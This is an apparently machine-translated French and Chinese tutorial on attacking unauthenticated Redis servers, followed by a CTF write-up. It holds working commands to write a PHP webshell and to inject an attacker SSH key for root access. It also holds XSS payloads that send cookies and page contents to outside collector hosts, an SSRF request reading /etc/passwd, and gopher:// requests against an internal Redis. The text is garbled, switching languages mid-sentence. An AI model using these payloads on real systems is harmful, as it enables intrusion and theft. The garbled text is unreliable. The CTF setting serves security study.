Redis est une base de données non relationnelle avec des paires clé-valeur sous forme de paires clé-valeur.
Redis est une base de données de valeurs-clés de type journal open source écrite en langage ANSI C, respecte le protocole BSD, prend en charge le réseau, peut être basée sur la mémoire et persistante et fournit des API dans plusieurs langues.
On l'appelle souvent serveur de structure de données car les valeurs peuvent être des chaînes, des hachages, des cartes, des ensembles et des ensembles triés) et d'autres types.
Service d'installation
win
Adresse de téléchargement : https://github.com/MSOpenTech/redis/releases
Environnement de test :
Système d'exploitation : win7
ip : 192.168.107.144
Entrée en ligne de commande
redis-server.exe redis.conf
Vérifiez ensuite que le port
Le port 6379 (port par défaut de Redis) a été ouvert
redis a démarré avec succès
ubuntu
Installer
sudo apt-get update sudo apt-get install redis-server
Démarrer le service
redis-server
Commandes de base
Connecter redis
redis-cli.exe -h 192.168.107.144
Afficher la clé est x La valeur de
redis 192.168.107.144:6379> get x "<?php phpinfo(); ?>"
obtenir toutes les clés
redis 192.168.107.144:6379> keys * 1) "x"
supprimer toutes les clés
redis 192.168.107.144:6379>flushall
exploiter
Cette machine passe activement la commande telnet Connectez-vous à la machine cible
ou connectez-vous via redis-cli.exe -h 192.168.107.144
La connexion est réussie
Entrez les informations pour obtenir des informations pertinentes
Vous pouvez voir le numéro de version Redis, etc.
Méthodes d'utilisation
Écrivez une phrase sur webshell
Écrivez la clé publique ssh
Écrivez le shell
//设置x的值 redis 192.168.107.144:6379> set x "<?php phpinfo(); ?>" redis 192.168.107.144:6379> config set dbfilename test.php redis 192.168.107.144:6379> config set dir D:/WWW/PHPTutorial/WWW redis 192.168.107.144:6379> save
Écrit avec succès sur la machine cible
Clé publique ssh écrite
Générez une paire de clés localement
root@ip-172-31-14-115:~/.ssh# ssh-keygen -t rsa
Ensuite, écrivez la clé publique ssh dans la machine cible
root@ip-172-31-14-115:/etc/redis# redis-cli -h 192.168.107.144 192.168.107.144:6379> config set dir /root/.ssh # 设置本地存储文件目录 192.168.107.144:6379> config set dbfilename pub_keys # 设置本地存储文件名 192.168.107.144:6379> set x "xxxx" # 将你的ssh公钥写入x键里。(xxxx即你自己生成的ssh公钥) 192.168.107.144:6379> save # 保存
puis connectez-vous à ssh localement
root@ip-172-31-14-115:~/.ssh# ssh -i id_rsa root@192.168.107.144
puis
Redis dans CTF (XSS->SSRF&Gopher->Redis)
Le sujet est
Adresse du titre : https://hackme.inndy.tw/scoreboard/
xeeme
Fuite
Trouvé dans robots.txt Le code source divulgué
est le config.php crypté
cookie xss
interface après inscription et connexion
L'envoi d'un email est vérifié
Écrivez un script pour vérifier
<?php $captcha=1; while(1) { if(substr(md5("60df5eaed35edcf0".$captcha),0,5) === "00000") { echo $captcha; break; } $captcha++; } echo "<br>".md5($captcha); ?>
puis filtrez-le Certaines choses
testées avec img
onload est également filtré
J'ai remarqué un détail ici. Ce qui est filtré, ce sont les espaces plus une erreur. Je suppose qu'il sera filtré lorsqu'il correspondra à une erreur avec des espaces, donc je construis une erreur sans espaces, essayez la charge utile.
<img src=""onerror="document.location='http://vps/?a='+document.cookie" alt="Introduction à l'accès non autorisé Redis" >
puis définir un cookie. Cliquez avec succès sur le cookie
Décoder la SESSION
PHPSESSID=rmibdo13ohquscgsuphitr9cp4; FLAG_XSSME=FLAG{Sometimes, XSS can be critical vulnerability <script>alert(1)</script>}; FLAG_2=IN_THE_REDIS
fuite xssrf<🎜. >
D'après le cookie de la question précédente, FLAG_2=IN_THE_REDISToujours le même environnementComme j'ai reçu le cookie de l'administrateur, je me suis connecté需要本地登陆,尝试一下伪造xff头
换了几个ip头都没用
于是想到之前做的题,可以直接去打管理员页面的源码
这里 不知道为什么 xss平台接收不到,于是换了一个平台
利用payload
<img src=""onerror="document.location='http://rkao6p.ceye.io/?'+btoa(document.body.innerHTML)" alt="Introduction à l'accès non autorisé Redis" >
发现innerhtml被过滤
于是html编码
<img src=""onerror="document.location='http://rkao6p.ceye.io/?'+btoa(document.body.innerHTML)" alt="Introduction à l'accès non autorisé Redis" >
发现收到请求
解个码,放在本地
SSRF读取config.php
猜测send request功能存在ssrf
<img src=""onerror=" xmlhttp=new XMLHttpRequest(); xmlhttp.onreadystatechange=function() { if (xmlhttp.readyState==4 && xmlhttp.status==200) { document.location='http://vps?'+btoa(xmlhttp.responseText) } } xmlhttp.open("GET","request.php",true); xmlhttp.send(); ">
vps收到请求
解码:
... <form action="/request.php" method="POST"> <div class="form-group"> <label for="url">URL</label> <textarea name="url" class="form-control" id="url" aria-describedby="url" placeholder="URL" rows="10"></textarea> </div> <button class="btn btn-primary">Send Request</button> </form> </div> </body> </html>
post请求的url参数
尝试读文件
<img src=""onerror=" xmlhttp=new XMLHttpRequest(); xmlhttp.onreadystatechange=function() { if (xmlhttp.readyState==4 && xmlhttp.status==200) { document.location='http://52.36.15.23:12345?'+btoa(xmlhttp.responseText) } } xmlhttp.open("POST","request.php",true); xmlhttp.setRequestHeader("Content-type","application/x-www-form-urlencoded"); xmlhttp.send("url=file:///etc/passwd"); ">
成功读到/etc/passwd
于是读之前的config.php
xssrf redis(ssrf+gopher拿下flag)
根据flag的提示,redis的端口是25566
请求redis配合gopher
<img src=""onerror=" xmlhttp=new XMLHttpRequest(); xmlhttp.onreadystatechange=function() { if (xmlhttp.readyState==4 && xmlhttp.status==200) { document.location='http://52.36.15.23:12345?'+btoa(xmlhttp.responseText) } } xmlhttp.open("POST","request.php",true); xmlhttp.setRequestHeader("Content-type","application/x-www-form-urlencoded"); xmlhttp.send("url=gopher://127.0.0.1:25566/_info"); ">
成功获取info
查看一下keys
xmlhttp.send("url=gopher://127.0.0.1:25566/_key%2520*");
去读
既然有flag键,那么直接去读flag的值
xmlhttp.send("url=gopher://127.0.0.1:25566/_get%2520flag");
类型不符合
于是查看类型
xmlhttp.send("url=gopher://127.0.0.1:25566/_type%2520flag");
是list,返回列表长度
xmlhttp.send("url=gopher://127.0.0.1:25566/_LLEN%2520flag");
那么获取所有元素
xmlhttp.send("url=gopher://127.0.0.1:25566/_LRANGE%2520flag%25200%252053");
于是写个脚本
flag=""" } t i o l p x e o t y s a e s i n o i t a c i t n e h t u a t u o h t i w s i d e R { G A L F """ result = flag[::-1] print(result)
最后flag FLAG{Redis without authentication is easy to exploit}
原文地址:https://xz.aliyun.com/t/4051
更多redis知识请关注redis入门教程栏目。
Ce qui précède est le contenu détaillé de. pour plus d'informations, suivez d'autres articles connexes sur le site Web de PHP en chinois!